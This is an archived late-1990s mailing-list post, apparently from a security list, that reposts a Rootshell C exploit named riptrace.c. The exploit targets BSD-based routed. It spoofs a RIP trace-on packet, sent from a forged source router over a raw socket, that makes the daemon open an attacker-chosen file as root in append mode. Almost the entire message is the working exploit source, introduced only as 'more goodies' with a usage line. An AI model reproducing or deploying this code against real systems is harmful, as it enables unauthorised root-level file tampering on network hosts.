This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mimeat_private for more info. --------------52EC4E226C19 Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-ID: <Pine.SUN.3.94.980108151813.18345Iat_private> More goodies from rootshell.com. http://www.rootshell.com/archive-Rbf4ahcmxzw5qn2S/199801/riptrace.c /* * BSD 4.4 based routed trace file exploit * * (C) 1997 Rootshell [ http://www.rootshell.com/ ] * * <infoat_private> * * routed has the ability for a packet to be sent to the daemon that will * turn on debug mode. The packet is able to specify the file which is * later opened without any checks being placed on that file open. * * Result: You can append to any file on the filesystem. * * The following syscall is made AS ROOT. * * ftrace = fopen(file, "a"); * * This is obviously a LARGE problem. * * Solaris 2.6 seems to ignore these packets and returns the following * error. Mileage may vary.. : * * in.routed[6580]: trace command from 1.2.3.4 - ignored * * Redhat routed was tested and found to check if the packet came from * a valid router. If you spoof the RIP packet from their default * gateway the packet is ACCEPTED. * * Note: Once a trace file is opened you must close the trace file and then * open another file. * * Exploit tested under Linux 2.0.x. * * ps. Just run gated! (http://www.gated.org/) * */ /* File to append to on filesystem with debug output */ #define FILETOCREATE "/tmp/rootshell" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_tcp.h> #include <linux/udp.h> #include <netinet/protocols.h> #include <netdb.h> #include <protocols/routed.h> #include <linux/route.h> #define err(x) { fprintf(stderr, x); exit(1); } #define errs(x, y) { fprintf(stderr, x, y); exit(1); } /* * in_cksum -- * Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } /* Send faked UDP packet. */ int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport) struct sockaddr_in *sin; unsigned short int s, datalen, sport, dport; unsigned long int saddr, daddr; char *data; { struct iphdr ip; struct udphdr udp; static char packet[8192]; /* Fill in IP header values. */ ip.ihl = 5; ip.version = 4; ip.tos = 0; ip.tot_len = htons(28 + datalen); ip.id = htons(31337 + (rand()%100)); ip.frag_off = 0; ip.ttl = 255; ip.protocol = IPPROTO_UDP; ip.check = 0; ip.saddr = saddr; ip.daddr = daddr; ip.check = in_cksum((char *)&ip, sizeof(ip)); /* Fill in UDP header values. Checksums are unnecassary. */ udp.source = htons(sport); udp.dest = htons(dport); udp.len = htons(8 + datalen); udp.check = (short) 0; /* Copy the headers into our character array. */ memcpy(packet, (char *)&ip, sizeof(ip)); memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp)); memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen); return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0, (struct sockaddr *)sin, sizeof(struct sockaddr_in))); } /* Lookup the name. Also handles a.b.c.d dotted quads. Returns 0 on error */ unsigned int lookup(host) char *host; { unsigned int addr; struct hostent *he; addr = inet_addr(host); /* Try if it's a "127.0.0.1" style string */ if (addr == -1) /* If not, lookup the host */ { he = gethostbyname(host); if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL)) return 0; bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list)); } return(addr); } void main(argc, argv) int argc; char **argv; { unsigned int saddr, daddr; struct sockaddr_in sin; int s; struct rip rp; if(argc != 4) errs("\nSee http://www.rootshell.com/\n\nUsage: %s <source_router> <dest_addr> <command>\n\ncommand: 3 = trace on, 4 = trace off\n\n",argv[0]); if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) err("Unable to open raw socket.\n"); if(!(saddr = lookup(argv[1]))) err("Unable to lookup source address.\n"); if(!(daddr = lookup(argv[2]))) err("Unable to lookup destination address.\n"); sin.sin_family = AF_INET; sin.sin_addr.s_addr= daddr; sin.sin_port = 520; /* Fill in RIP packet info */ rp.rip_cmd = atoi(argv[3]); /* 3 = RIPCMD_TRACEON, 4 = RIPCMD_TRACEOFF */ rp.rip_vers = RIPVERSION; /* Must be version 1 */ sprintf(rp.rip_tracefile, FILETOCREATE); if((sendpkt_udp(&sin, s, &rp, sizeof(rp), saddr, daddr, 520, 520)) == -1) { perror("sendpkt_udp"); err("Error sending the UDP packet.\n"); } } --------------52EC4E226C19--
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:38:22 PDT